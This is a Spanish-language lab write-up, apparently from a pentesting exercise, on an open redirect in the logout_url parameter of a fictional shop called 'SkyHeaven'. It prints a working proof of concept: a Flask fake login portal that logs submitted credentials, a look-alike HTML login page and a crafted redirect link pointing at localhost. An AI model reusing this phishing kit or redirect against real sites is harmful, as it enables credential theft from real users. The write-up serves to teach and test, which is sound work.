Open Redirect in Login/Logout
Open Redirect in Login/Logout
Open Redirect in Login/Logout E-commerce con parametros login_url y logout_url que redirigen sin validacion tras autenticacion, usables para phishing.
Antes de nada usamos el login y password que nos dan para visitar el sitio de SkyHeaven.
Capturando el request se ve que hay un parametro referer. Sabiendo que tenemos el parametro referer podemos elaborar un portal falso para capturar las credenciales de acceso enviando a una víctima un enlace malicioso con cualquier pretexto.
Esto este sería el enlace que le pasaríamos a una potencial víctima.
``` python
from flask import Flask, render_template, request, redirect, url_for, session
app = Flask(__name__)
app.secret_key = "secret-key"
USERNAME = "admin"
PASSWORD = "1234"
@app.route("/", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
print(f"Username: {username}")
print(f"Password: {password}")
if username == USERNAME and password == PASSWORD:
session["user"] = username
return redirect(url_for("dashboard"))
error = "Invalid credentials"
return render_template("login.html", error=error)
@app.route("/dashboard")
def dashboard():
if "user" not in session:
return redirect(url_for("login"))
return render_template("dashboard.html", user=session["user"])
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))
if __name__ == "__main__":
app.run(debug=True)
El código en Python Flask para la web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>SkyHeaven</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background: #f4f4f4;
}
.login-box {
background: white;
padding: 30px;
border-radius: 8px;
width: 300px;
box-shadow: 0 2px 10px rgba(0,0,0,.1);
}
input {
width: 100%;
padding: 10px;
margin-top: 10px;
box-sizing: border-box;
}
button {
width: 100%;
padding: 10px;
margin-top: 15px;
cursor: pointer;
}
.error {
color: red;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="login-box">
<h2>SkyHeaven</h2>
<form method="post">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
Y el código del HTML para mostrar una página que imite a la original, como es un PoC no me molesto en hacerla exactamente igual, los hackers si lo hacen.
Así se vería el login falso, como ya indiqué no pretende ser exactamente igual para hacer la prueba de concepto.
Y ahora vemos como nuestro fake portal captura las credenciales si la víctima picase en nuestra trampa.
http://127.0.0.1:2000/api/auth/logout?logout_url=http://127.0.0.1:5000/
Otro link que podemos enviar a la víctima y que parece más razonable pues no llamaría tanto la atención sería de esta forma dado que no tendría que estar si quiera logueado y quizás de esta forma le resulte menos sospechoso el enlace.
